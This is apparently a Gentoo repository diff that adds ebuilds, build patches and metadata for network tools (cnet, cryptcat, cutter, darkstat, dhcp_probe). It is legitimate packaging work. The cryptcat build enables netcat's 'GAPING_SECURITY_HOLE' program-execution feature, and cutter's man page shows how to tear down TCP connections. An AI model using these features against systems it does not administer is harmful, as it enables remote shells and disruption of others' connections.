++ $(MAKE) -f Makefile.sunos $(NAME) ; fi
+ @if uname -s -r | grep -q "SunOS 5" ; then \
+- make -f Makefile.solaris $(NAME) ; fi
++ $(MAKE) -f Makefile.solaris $(NAME) ; fi
+ @if uname -s -r | grep -q "OSF1" ; then \
+- make -f Makefile.osf1 $(NAME) ; fi
++ $(MAKE) -f Makefile.osf1 $(NAME) ; fi
+ @if uname -s -r | grep -q "IRIX" ; then \
+- make -f Makefile.irix5 $(NAME) ; fi
++ $(MAKE) -f Makefile.irix5 $(NAME) ; fi
+ @if uname -s -r | grep -q "FreeBSD" ; then \
+- make -f Makefile.freebsd $(NAME) ; fi
++ $(MAKE) -f Makefile.freebsd $(NAME) ; fi
+ @if uname -s -r | grep -q "NetBSD" ; then \
+- make -f Makefile.netbsd $(NAME) ; fi
++ $(MAKE) -f Makefile.netbsd $(NAME) ; fi
+ @cp -p $(NAME) ../bin
+ @cp -p cnet.h ../lib
+
+@@ -33,7 +33,7 @@
+ @rm -rf HTML GPATH GRTAGS GSYMS GTAGS
+
+ hide:
+- make clean
++ $(MAKE) clean
+ echo '#if HIDE_GLOBAL_NAMES' > hidenames.h
+ sort < HIDENAMES | \
+ awk '{ if($$0 !~ /#/) printf("#define\t%-36s\t__CN%03d\n", $$0,++n);}'\
diff --git a/net-analyzer/cnet/files/cnet-3.3.1-tcl.patch b/net-analyzer/cnet/files/cnet-3.3.1-tcl.patch
new file mode 100644
index 000000000000..4c30673f2e67
--- /dev/null
+++ b/net-analyzer/cnet/files/cnet-3.3.1-tcl.patch
@@ -0,0 +1,13 @@
+--- a/src/Makefile.linux
++++ b/src/Makefile.linux
+@@ -17,8 +17,8 @@
+ #XLIBS = -ltcl -ltk -lX11
+ #
+ # or you may need something like:
+-XINCLUDES = -I/usr/include/tcl8.5
+-XLIBS = -ltcl8.5 -ltk8.5 -lX11
++#XINCLUDES = -I/usr/include/tcl8.5
++XLIBS = -ltcl -ltk -lX11
+ #
+ C99 = $(CC) -std=c99 -Wall -pedantic
+ CFLAGS += -fPIC $(INCLUDES) $(XINCLUDES)
diff --git a/net-analyzer/cnet/metadata.xml b/net-analyzer/cnet/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/cnet/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/cryptcat/Manifest b/net-analyzer/cryptcat/Manifest
new file mode 100644
index 000000000000..1a40894499e4
--- /dev/null
+++ b/net-analyzer/cryptcat/Manifest
@@ -0,0 +1 @@
+DIST cryptcat-unix-1.2.1.tar 190464 SHA256 5dc9a9c2beac3d9658cc3e082c00f1127981a2f995b4ec485f281bf1800840d0 SHA512 2de6521903e489bc6d4f242aaac7f35a3a7fb226e1812ef5f1c3554420fce4378427e94b3e90eca5476d1068f1a9b44d9c5dbd0362888ad893cf66be106deb17 WHIRLPOOL e88ad1c16d21eae9221d88e1b80e81570fd44c60856b279c5522d255dce4795b2880e91506ab767e327965481718c8766a148f8e5924902068c3f641576846e1
diff --git a/net-analyzer/cryptcat/cryptcat-1.2.1-r1.ebuild b/net-analyzer/cryptcat/cryptcat-1.2.1-r1.ebuild
new file mode 100644
index 000000000000..dedaf46c1384
--- /dev/null
+++ b/net-analyzer/cryptcat/cryptcat-1.2.1-r1.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+inherit eutils toolchain-funcs
+
+DESCRIPTION="netcat clone extended with twofish encryption"
+HOMEPAGE="http://farm9.org/Cryptcat/"
+SRC_URI="mirror://sourceforge/${PN}/${PN}-unix-${PV}.tar"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ppc x86 ~amd64-linux ~x86-linux"
+IUSE=""
+
+S=${WORKDIR}/unix
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-build.patch
+ echo "#define arm arm_timer" >> generic.h
+ sed -i \
+ -e 's:#define HAVE_BIND:#undef HAVE_BIND:' \
+ -e '/^#define FD_SETSIZE 16/s:16:1024:' \
+ -e 's:\<LINUX\>:__linux__:' \
+ netcat.c generic.h
+ tc-export CC CXX
+}
+
+src_install() {
+ dobin cryptcat
+ dodoc Changelog README README.cryptcat netcat.blurb
+}
diff --git a/net-analyzer/cryptcat/cryptcat-1.2.1-r2.ebuild b/net-analyzer/cryptcat/cryptcat-1.2.1-r2.ebuild
new file mode 100644
index 000000000000..cb7acceec937
--- /dev/null
+++ b/net-analyzer/cryptcat/cryptcat-1.2.1-r2.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="netcat clone extended with twofish encryption"
+HOMEPAGE="http://cryptcat.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${PN}-unix-${PV}.tar"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ppc x86 ~amd64-linux ~x86-linux"
+
+S=${WORKDIR}/unix
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-build.patch
+ epatch "${FILESDIR}"/${P}-misc.patch
+ tc-export CC CXX
+}
+
+src_install() {
+ dobin cryptcat
+ dodoc Changelog README README.cryptcat netcat.blurb
+}
diff --git a/net-analyzer/cryptcat/files/cryptcat-1.2.1-build.patch b/net-analyzer/cryptcat/files/cryptcat-1.2.1-build.patch
new file mode 100644
index 000000000000..17ec33489c89
--- /dev/null
+++ b/net-analyzer/cryptcat/files/cryptcat-1.2.1-build.patch
@@ -0,0 +1,43 @@
+--- a/unix/Makefile
++++ b/unix/Makefile
+@@ -10,16 +10,14 @@
+ # debugging
+ # DFLAGS = -DTEST -DDEBUG
+ DFLAGS = -DGAPING_SECURITY_HOLE
+-CFLAGS = -O
++CFLAGS ?= -O
+ XFLAGS = # xtra cflags, set by systype targets
+ XLIBS = # xtra libs if necessary?
+ # -Bstatic for sunos, -static for gcc, etc. You want this, trust me.
+ STATIC =
+-CC = cc $(CFLAGS)
+-LD = $(CC) -s # linker; defaults to stripped executables
+ o = o # object extension
+
+-ALL = cryptcat
++all: cryptcat
+
+ ### BOGON-CATCHERS
+
+@@ -28,8 +26,8 @@
+
+ ### HARD TARGETS
+
+-cryptcat: netcat.c farm9crypt.o twofish2.o
+- $(LD) $(DFLAGS) $(XFLAGS) $(STATIC) -o cryptcat netcat.c farm9crypt.o twofish2.o $(XLIBS)
++cryptcat: netcat.o farm9crypt.o twofish2.o
++ $(CXX) $(CXXFLAGS) $(LDFLAGS) -o $@ $^
+
+ nc-dos:
+ @echo "DOS?! Maybe someday, but not now"
+@@ -115,10 +112,8 @@
+ make -e $(ALL) $(MFLAGS) XFLAGS='-DNEXT' STATIC=-Bstatic
+
+ farm9crypt.o: farm9crypt.cc farm9crypt.h
+- ${CC} -c farm9crypt.cc
+
+ twofish2.o: twofish2.cc twofish2.h
+- ${CC} -c twofish2.cc
+
+ # start with this for a new architecture, and see what breaks.
+ generic:
diff --git a/net-analyzer/cryptcat/files/cryptcat-1.2.1-misc.patch b/net-analyzer/cryptcat/files/cryptcat-1.2.1-misc.patch
new file mode 100644
index 000000000000..8a2f9394b4a6
--- /dev/null
+++ b/net-analyzer/cryptcat/files/cryptcat-1.2.1-misc.patch
@@ -0,0 +1,48 @@
+--- a/netcat.c
++++ b/netcat.c
+@@ -39,7 +39,7 @@
+ /* conditional includes -- a very messy section which you may have to dink
+ for your own architecture [and please send diffs...]: */
+ /* #undef _POSIX_SOURCE /* might need this for something? */
+-#define HAVE_BIND /* ASSUMPTION -- seems to work everywhere! */
++#undef HAVE_BIND /* ASSUMPTION -- seems to work everywhere! */
+ #define HAVE_HELP /* undefine if you dont want the help text */
+ /* #define ANAL /* if you want case-sensitive DNS matching */
+
+@@ -56,7 +56,7 @@
+ #ifdef FD_SETSIZE /* should be in types.h, butcha never know. */
+ #undef FD_SETSIZE /* if we ever need more than 16 active */
+ #endif /* fd's, something is horribly wrong! */
+-#define FD_SETSIZE 16 /* <-- this'll give us a long anyways, wtf */
++#define FD_SETSIZE 1024 /* <-- this'll give us a long anyways, wtf */
+ #include <sys/types.h> /* *now* do it. Sigh, this is broken */
+
+ #ifdef HAVE_RANDOM /* aficionados of ?rand48() should realize */
+@@ -81,8 +81,10 @@
+ #include <errno.h>
+ #include <signal.h>
+ #include <fcntl.h> /* O_WRONLY et al */
++#include <unistd.h> /* alarm() close() sleep() */
++#include <time.h> /* time() */
+
+-#ifdef LINUX
++#ifdef __linux__
+ #include <resolv.h>
+ #endif
+
+--- a/generic.h
++++ b/generic.h
+@@ -274,7 +274,7 @@
+
+ /* linux, which is trying as desperately as the gnu folks can to be
+ POSIXLY_CORRECT. I think I'm gonna hurl... */
+-#ifdef LINUX
++#ifdef __linux__
+ #undef UTMPX
+ #undef HAVE_SYSINFO
+ #undef HAVE_SELECT_H
+@@ -373,3 +373,4 @@
+ /* ================ */
+ #endif /* GENERIC_H */
+
++#define arm arm_timer
diff --git a/net-analyzer/cryptcat/metadata.xml b/net-analyzer/cryptcat/metadata.xml
new file mode 100644
index 000000000000..5313eaf94f37
--- /dev/null
+++ b/net-analyzer/cryptcat/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">cryptcat</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/cutter/Manifest b/net-analyzer/cutter/Manifest
new file mode 100644
index 000000000000..8c9997656437
--- /dev/null
+++ b/net-analyzer/cutter/Manifest
@@ -0,0 +1,2 @@
+DIST cutter-1.03.tgz 13176 SHA256 4df4fac7c2208afafb279abb443005bf77d3dcf01af05fe1f2898213b9109615 SHA512 821e8abf496e22b86bdd855fb1c9c51648a276ebb572edd2ccb172ae7025a38794df37dfe153c1807785ecec279c34b9df5e2bcc2de582b3a88ee3776cf46eea WHIRLPOOL f66ef5df14f51656505949596f6e98f8fc48c85bb200d2b54be3a71e165900e14b7c4ca1f25242fe7592054f6d5b358db13f714cf000c7e70a626961f906d425
+DIST cutter-1.04.tgz 13680 SHA256 1b336c69eb3393f6ca118a529773014c41126ac6dabd04b77151daa1c2f01180 SHA512 79c17ec8c17e696a79aa8b11fda347f2e6929eb35f9a37da450acf6aff7ab9471e13eaef24708f90f3f0c2791fade2eb944443b98df3d3ae4eef0c408abc7b3a WHIRLPOOL 6efab2b2af413600c7ff0f8d998860d635248ab81a584a5a769a723d4c5e3558d463a40d1ff2a10cd4b2344af5e8e11ab676ca866bee3efd10ebe4c2c7fe2a29
diff --git a/net-analyzer/cutter/cutter-1.03-r1.ebuild b/net-analyzer/cutter/cutter-1.03-r1.ebuild
new file mode 100644
index 000000000000..61ed5ad2e425
--- /dev/null
+++ b/net-analyzer/cutter/cutter-1.03-r1.ebuild
@@ -0,0 +1,29 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="TCP/IP Connection cutting on Linux Firewalls and Routers"
+HOMEPAGE="http://www.digitage.co.uk/digitage/software/linux-security/cutter"
+SRC_URI="http://www.digitage.co.uk/digitage/files/${PN}/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-debian.patch
+ rm -f Makefile # implicit rules are better ;x
+}
+
+src_compile() {
+ emake cutter CC="$(tc-getCC)"
+}
+
+src_install() {
+ dosbin cutter
+ dodoc README
+ doman debian/cutter.8
+}
diff --git a/net-analyzer/cutter/cutter-1.04.ebuild b/net-analyzer/cutter/cutter-1.04.ebuild
new file mode 100644
index 000000000000..695fe9c9e3e3
--- /dev/null
+++ b/net-analyzer/cutter/cutter-1.04.ebuild
@@ -0,0 +1,29 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="TCP/IP Connection cutting on Linux Firewalls and Routers"
+HOMEPAGE="http://www.digitage.co.uk/digitage/software/linux-security/cutter"
+SRC_URI="http://www.digitage.co.uk/digitage/files/${PN}/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-1.03-debian.patch
+ rm -f Makefile # implicit rules are better ;x
+}
+
+src_compile() {
+ emake cutter CC="$(tc-getCC)"
+}
+
+src_install() {
+ dosbin cutter
+ dodoc README
+ doman debian/cutter.8
+}
diff --git a/net-analyzer/cutter/files/cutter-1.03-debian.patch b/net-analyzer/cutter/files/cutter-1.03-debian.patch
new file mode 100644
index 000000000000..607e06df744f
--- /dev/null
+++ b/net-analyzer/cutter/files/cutter-1.03-debian.patch
@@ -0,0 +1,182 @@
+--- a/Makefile
++++ b/Makefile
+@@ -1,5 +1,5 @@
+ cutter: cutter.c
+- cc cutter.c -o cutter
++ cc $(CFLAGS) cutter.c -o cutter
+
+ clean:
+ rm -f cutter.o cutter
+--- a/cutter.c
++++ b/cutter.c
+@@ -57,6 +57,7 @@
+ #include <arpa/inet.h>
+ #include <net/if.h>
+ #include <errno.h>
++#include <time.h>
+
+ #define ETHHDR sizeof(struct ethhdr)
+ #define TCPHDR sizeof(struct tcphdr)
+@@ -149,7 +150,6 @@
+ int getmac(in_addr_t ip, uchar *mac)
+ {
+ FILE *id = fopen( "/proc/net/arp", "r" );
+- union { uchar c[4]; in_addr_t n; } ipu;
+ in_addr_t ipn;
+ int mac0, mac1, mac2, mac3, mac4, mac5;
+ int hwtype, flags;
+@@ -240,7 +240,7 @@
+ u_short toport
+ )
+ {
+- int i_result, raw_sock, rtn;
++ int i_result, raw_sock;
+ in_addr_t gateway_ip;
+ struct sockaddr_ll myaddr, hisaddr;
+ struct tpack tpack;
+@@ -377,7 +377,7 @@
+
+ for ( ; time(0) < tstart + 15; ) { // give the peer 15 seconds to respond
+ struct sockaddr_ll gotaddr;
+- int addrlen = sizeof(gotaddr);
++ unsigned int addrlen = sizeof(gotaddr);
+ fd_set readfds;
+ struct timeval tv;
+
+@@ -478,8 +478,7 @@
+ {
+ FILE *id = fopen( "/proc/net/ip_conntrack", "r" );
+ char src1[32], dst1[32], src2[32], dst2[32];
+- int sport1, dport1, sport2, dport2, i;
+- int packets1, packets2, bytes1, bytes2;
++ int sport1, dport1, sport2, dport2;
+ in_addr_t src1n, src2n, dst1n, dst2n;
+ char buff[1024], *p;
+ int found = 0;
+--- a/debian/cutter.8
++++ b/debian/cutter.8
+@@ -0,0 +1,124 @@
++.\" Hey, EMACS: -*- nroff -*-
++.TH CUTTER 8 "April, 2005"
++.SH NAME
++cutter \- cut tcp/ip connections
++.SH SYNOPSIS
++.B cutter
++.IR ipaddress1 \ [ \ port1 \ [ \ ipaddress2 \ [ \ port2
++\ ] \ ] \ ]
++.br
++.SH DESCRIPTION
++.B Cutter
++is an open source program that allows Linux firewall
++administrators to abort TCP/IP connections routed over the firewall or
++router on which it is run.
++.br
++.SH WARNING
++.B Cutter
++has been designed for use as a administrators tool for Linux
++firewalls. It's use (as is, or modified) for any other purpose is not
++sanctioned by the author. So - do not use this tool as a parachute, or
++to dry your cat, chill meat, answer your phone, drive you car, teach
++your kids to read or attack other people's computer systems or networks.
++.PP
++This software has been designed for
++.I legal
++and
++.I appropriate
++use
++by network security administrators and the like. It has been written as
++part of a larger Linux firewall project, targetting at controlling traffic
++from peer-to-peer software such as Kazaa, iMesh and others into and out of
++a private network. It is not designed as a tool for malicious use and the
++author in no way sanctions such use.
++.PP
++Users of the software should be aware that it's actions are easily detectable
++using a number of readily available network monitoring tools, and it makes no
++attempt to disguise it's actions. Malicious use of "cutter" could result in a
++jail sentance in a number of countries around the world.
++.PP
++The author is not responsible for the results of using this software. It
++is provided "as is" in the hope that it will be useful, but no garantees
++are made about it's use.
++.br
++.SH USAGE
++.B Cutter
++can be called using one of the following four syntaxes.
++
++.BI cutter \ ip-address
++
++.B Example:
++.RS
++.br
++.BI cutter \ 10.10.0.45
++
++Cuts all connections
++passing through the firewall
++between any ports on the specified ip-address (either a "private" or
++"public" address) and any other hosts. This can be used to close down
++all incoming connections to a particular server, all outgoing
++connections from a particular client or all outgoing connections to a
++server.
++.RE
++
++.B cutter
++.I ip-address port
++
++.B Example:
++.RS
++.br
++.B cutter
++.I 200.1.2.3 80
++
++Cuts all connections to or from the
++specified ip-address/port pair. This allows the user to be a little more
++specific than the previous example and allows targetting of specific
++services on specific hosts.
++.RE
++
++.B cutter
++.I ip-address-1 port-1 ip-address-2
++
++.B Example:
++.RS
++.br
++.B cutter
++.I 200.1.2.3 22 10.10.0.45
++
++Cuts all connections between
++ip-address-2 and ip-address-1/port-1. This allows the user to cut
++connections between a specified "client" and a particular service on a
++specified host. Our example closes host 10.10.0.45's SSH connection to
++server 200.1.2.3.
++.RE
++
++.B cutter
++.I ip-address-1 port-1 ip-address-2 port-2
++
++.B Example:
++.RS
++.br
++.B cutter
++.I 200.1.2.3 22 10.10.0.45 32451
++
++Cuts the specific connection between
++the two ip/port number pairs given.
++.RE
++.SH STATUS
++Cutter 1.03 should be considered
++.B EXPERIMENTAL.
++The author is releasing a
++tool that works on the systems he has access to (namely: IPCop and
++RedHat Linux), and he is seeking input on it's use on other systems,
++ideas for improvement, offers of sponsorship - etc.
++.PP
++.br
++.SH ADDITIONAL DOCUMENTATION
++This program is documented at
++.UR http://www.lowth.com/cutter/
++.I http://www.lowth.com/cutter/
++.UE
++.SH AUTHOR
++Blars Blarson addapted the README and web page written by Chris Lowth
++into this man page for debian package of cutter. This man page may be
++distribuated under the terms of the Gnu GPL version 2.
diff --git a/net-analyzer/cutter/metadata.xml b/net-analyzer/cutter/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/cutter/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/darkstat/Manifest b/net-analyzer/darkstat/Manifest
new file mode 100644
index 000000000000..55050ea72d0e
--- /dev/null
+++ b/net-analyzer/darkstat/Manifest
@@ -0,0 +1,2 @@
+DIST darkstat-3.0.718.tar.bz2 116044 SHA256 682f3e53f4e89ea6ad08236b4225a5e0859428299765d8d995374cd7fa22adff SHA512 73ed670a9c684b2f0b087da3f238c2828407c82201d1bff945a3d711bbaa231b9d87ddc9e21aa855abcd7d63c27f8f529f5a2c6fb48f52a3f0b6e88c49d33969 WHIRLPOOL 9e91c4508dc43ea5c59b10c51b1b345a4bcf31befa532a94ba435b10f8b63a2fd3e2e8775b67a40e48dcf0e91f71c7ccc191a78d337990990761671f8aa4377f
+DIST darkstat-3.0.719.tar.bz2 117695 SHA256 aeaf909585f7f43dc032a75328fdb62114e58405b06a92a13c0d3653236dedd7 SHA512 264f6c5f862745fbfb5d125aae5a319369f028fd7be96cfb12775147f528a36b7f5a42bcd6434f2d376933292364641f2ec9cd9bdb1fe105f5a905e331181f98 WHIRLPOOL 95fc7c383bd814bbf6ff022d97df839eeaeafffb75b2c9bdb5b833d9bc7abfabaded5a1c5d145f5f1c5a4f45566e442f060a91ee4366a20ac096ad6fb4e09520
diff --git a/net-analyzer/darkstat/darkstat-3.0.718.ebuild b/net-analyzer/darkstat/darkstat-3.0.718.ebuild
new file mode 100644
index 000000000000..d70afed591f0
--- /dev/null
+++ b/net-analyzer/darkstat/darkstat-3.0.718.ebuild
@@ -0,0 +1,62 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils user
+
+DESCRIPTION="Network traffic analyzer with cute web interface"
+HOMEPAGE="http://unix4lyfe.org/darkstat/"
+SRC_URI="http://unix4lyfe.org/${PN}/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ppc x86"
+
+DEPEND="net-libs/libpcap"
+RDEPEND="${DEPEND}"
+
+DARKSTAT_CHROOT_DIR=${DARKSTAT_CHROOT_DIR:-/var/lib/darkstat}
+
+DOCS=( AUTHORS ChangeLog README NEWS )
+
+src_prepare() {
+ sed -i -e 's|-flto||g' configure.ac || die
+ epatch_user
+ eautoreconf
+}
+
+src_configure() {
+ econf --disable-debug --with-privdrop-user=darkstat
+}
+
+src_install() {
+ default
+
+ newinitd "${FILESDIR}"/darkstat-initd darkstat
+ newconfd "${FILESDIR}"/darkstat-confd darkstat
+
+ sed -i -e "s:__CHROOT__:${DARKSTAT_CHROOT_DIR}:g" "${D}"/etc/conf.d/darkstat || die
+ sed -i -e "s:__CHROOT__:${DARKSTAT_CHROOT_DIR}:g" "${D}"/etc/init.d/darkstat || die
+
+ keepdir "${DARKSTAT_CHROOT_DIR}"
+ chown darkstat:0 "${D}${DARKSTAT_CHROOT_DIR}"
+}
+
+pkg_preinst() {
+ enewuser darkstat
+}
+
+pkg_postinst() {
+ # Workaround bug #141619
+ DARKSTAT_CHROOT_DIR=`sed -n 's/^#CHROOT=\(.*\)/\1/p' "${ROOT}"etc/conf.d/darkstat`
+ chown darkstat:0 "${ROOT}${DARKSTAT_CHROOT_DIR}"
+
+ elog "To start different darkstat instances which will listen on a different"
+ elog "interfaces create in /etc/init.d directory the 'darkstat.if' symlink to"
+ elog "darkstat script where 'if' is the name of the interface."
+ elog "Also in /etc/conf.d directory copy darkstat to darkstat.if"
+ elog "and edit it to change default values."
+ elog
+ elog "darkstat's default chroot directory is: \"${ROOT}${DARKSTAT_CHROOT_DIR}\""
+}
diff --git a/net-analyzer/darkstat/darkstat-3.0.719.ebuild b/net-analyzer/darkstat/darkstat-3.0.719.ebuild
new file mode 100644
index 000000000000..ddfcbaaeb099
--- /dev/null
+++ b/net-analyzer/darkstat/darkstat-3.0.719.ebuild
@@ -0,0 +1,62 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils user
+
+DESCRIPTION="Network traffic analyzer with cute web interface"
+HOMEPAGE="http://unix4lyfe.org/darkstat/"
+SRC_URI="http://unix4lyfe.org/${PN}/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+
+DEPEND="net-libs/libpcap"
+RDEPEND="${DEPEND}"
+
+DARKSTAT_CHROOT_DIR=${DARKSTAT_CHROOT_DIR:-/var/lib/darkstat}
+
+DOCS=( AUTHORS ChangeLog README NEWS )
+
+src_prepare() {
+ sed -i -e 's|-flto||g' configure.ac || die
+ epatch_user
+ eautoreconf
+}
+
+src_configure() {
+ econf --disable-debug --with-privdrop-user=darkstat
+}
+
+src_install() {
+ default
+
+ newinitd "${FILESDIR}"/darkstat-initd darkstat
+ newconfd "${FILESDIR}"/darkstat-confd darkstat
+
+ sed -i -e "s:__CHROOT__:${DARKSTAT_CHROOT_DIR}:g" "${D}"/etc/conf.d/darkstat || die
+ sed -i -e "s:__CHROOT__:${DARKSTAT_CHROOT_DIR}:g" "${D}"/etc/init.d/darkstat || die
+
+ keepdir "${DARKSTAT_CHROOT_DIR}"
+ chown darkstat:0 "${D}${DARKSTAT_CHROOT_DIR}"
+}
+
+pkg_preinst() {
+ enewuser darkstat
+}
+
+pkg_postinst() {
+ # Workaround bug #141619
+ DARKSTAT_CHROOT_DIR=`sed -n 's/^#CHROOT=\(.*\)/\1/p' "${ROOT}"etc/conf.d/darkstat`
+ chown darkstat:0 "${ROOT}${DARKSTAT_CHROOT_DIR}"
+
+ elog "To start different darkstat instances which will listen on a different"
+ elog "interfaces create in /etc/init.d directory the 'darkstat.if' symlink to"
+ elog "darkstat script where 'if' is the name of the interface."
+ elog "Also in /etc/conf.d directory copy darkstat to darkstat.if"
+ elog "and edit it to change default values."
+ elog
+ elog "darkstat's default chroot directory is: \"${ROOT}${DARKSTAT_CHROOT_DIR}\""
+}
diff --git a/net-analyzer/darkstat/files/darkstat-confd b/net-analyzer/darkstat/files/darkstat-confd
new file mode 100644
index 000000000000..3d95a0461a06
--- /dev/null
+++ b/net-analyzer/darkstat/files/darkstat-confd
@@ -0,0 +1,27 @@
+# The interface to listen on
+# Use only with /etc/init.d/darkstat init script. If you use
+# /etc/init.d/darkstat.if init script, then this option should be ignored.
+#INTERFACE="eth0"
+
+# The port for the embedded webserver
+#PORT="667"
+
+# The address embedded webserver should bind to
+#ADDRESS="0.0.0.0"
+
+# Set the filter. See tcpdump documenation for details.
+#FILTER=""
+
+# Log daily traffic statistics into the named file, relative to the
+# chroot directory (see, below).
+#DAYLOGFILE="darkstat.log"
+
+# Other options:
+DARKSTAT_OPTS="--no-promisc --no-dns --user darkstat"
+
+# The directory to which the program chroots after initialization.
+# If you change this, please note the variable below and adjust
+# the permissions accordingly. Note that if you want to use the
+# --daylog option in EXTRAOPTS, the files are logged relative
+# to the chroot-directory; see the man-page for details.
+#CHROOT=__CHROOT__
diff --git a/net-analyzer/darkstat/files/darkstat-initd b/net-analyzer/darkstat/files/darkstat-initd
new file mode 100644
index 000000000000..0f2fb5e863b1
--- /dev/null
+++ b/net-analyzer/darkstat/files/darkstat-initd
@@ -0,0 +1,59 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+IF=${SVCNAME##*.}
+
+if [ -n "${IF}" -a "${SVCNAME}" != "darkstat" ] ; then
+ PIDFILE=/run/darkstat.${IF}.pid
+else
+ PIDFILE=/run/darkstat.pid
+fi
+
+depend() {
+ need net
+}
+
+chkconfig() {
+ if [ -n "${IF}" -a "${SVCNAME}" != "darkstat" ] ; then
+ if [ ! -f "/etc/conf.d/darkstat.${IF}" ] ; then
+ einfo "It's possible to have distinct config in /etc/conf.d/darkstat.${IF}."
+ fi
+ INTERFACE=${IF}
+ else
+ if [ ! -f "/etc/conf.d/darkstat" ] ; then
+ ewarn "/etc/conf.d/darkstat does not exist. Falling on defaults."
+ fi
+ fi
+
+ if [ -z "${INTERFACE}" ]; then
+ ewarn "No interface specified. Trying to use eth0."
+ INTERFACE="eth0"
+ fi
+
+ DARK_OPTS="-i ${INTERFACE}"
+ [ -n "${PORT}" ] && DARK_OPTS="${DARK_OPTS} -p ${PORT}"
+ [ -n "${ADDRESS}" ] && DARK_OPTS="${DARK_OPTS} -b ${ADDRESS}"
+ [ -n "${DAYLOGFILE}" ] && DARK_OPTS="${DARK_OPTS} --daylog ${DAYLOGFILE}"
+
+ return 0
+}
+
+start() {
+ chkconfig || return 1
+
+ # If ${PIDFILE} exist darkstat fails to start
+ [ -f ${PIDFILE} ] && rm ${PIDFILE}
+ ebegin "Starting darkstat on ${INTERFACE}"
+ /sbin/start-stop-daemon --start --exec /usr/sbin/darkstat -- \
+ --chroot "${CHROOT:-__CHROOT__}" --pidfile ${PIDFILE} \
+ ${DARKSTAT_OPTS} ${DARK_OPTS} -f "${FILTER}"
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping darkstat on ${INTERFACE}"
+ /sbin/start-stop-daemon --stop --pidfile ${PIDFILE}
+ eend $?
+}
diff --git a/net-analyzer/darkstat/metadata.xml b/net-analyzer/darkstat/metadata.xml
new file mode 100644
index 000000000000..ef4d76a6dd9b
--- /dev/null
+++ b/net-analyzer/darkstat/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+ <longdescription lang="en">
+ darkstat is a network statistics gatherer. It's a packet sniffer that
+ runs as a background process on a cable/DSL router, gathers all sorts of
+ statistics about network usage, and serves them over HTTP.
+ </longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/dhcp_probe/Manifest b/net-analyzer/dhcp_probe/Manifest
new file mode 100644
index 000000000000..ff4980482ee1
--- /dev/null
+++ b/net-analyzer/dhcp_probe/Manifest
@@ -0,0 +1 @@
+DIST dhcp_probe-1.3.0.tar.gz 211613 RMD160 fb988165ced12e5baf95ffe030b72999b52d2624 SHA1 c25796bbf70ecffd285ce40ec8bb9956e4654ad1 SHA256 227cd6a82a7fa4d989994cb076f18092bc2c82592ceaeb31c4fdd09294b9265f
diff --git a/net-analyzer/dhcp_probe/dhcp_probe-1.3.0-r3.ebuild b/net-analyzer/dhcp_probe/dhcp_probe-1.3.0-r3.ebuild
new file mode 100644
index 000000000000..0aa037d03e46
--- /dev/null
+++ b/net-analyzer/dhcp_probe/dhcp_probe-1.3.0-r3.ebuild
@@ -0,0 +1,47 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="2"
+
+inherit eutils flag-o-matic
+
+DESCRIPTION="dhcp_probe attempts to discover DHCP and BootP servers on a directly-attached Ethernet network"
+HOMEPAGE="http://www.net.princeton.edu/software/dhcp_probe/"
